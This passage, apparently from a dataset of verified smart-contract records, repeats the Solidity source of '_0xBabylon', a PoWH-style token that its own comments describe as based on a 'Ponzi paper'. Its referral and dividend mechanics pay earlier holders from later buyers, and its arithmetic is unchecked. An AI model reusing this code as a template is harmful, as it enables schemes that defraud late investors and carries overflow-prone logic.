Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
withdraw
function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); }
// Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 3938, 4877 ] }
1,478
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
sellBonds
function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } }
// Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 5369, 5569 ] }
1,479
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the 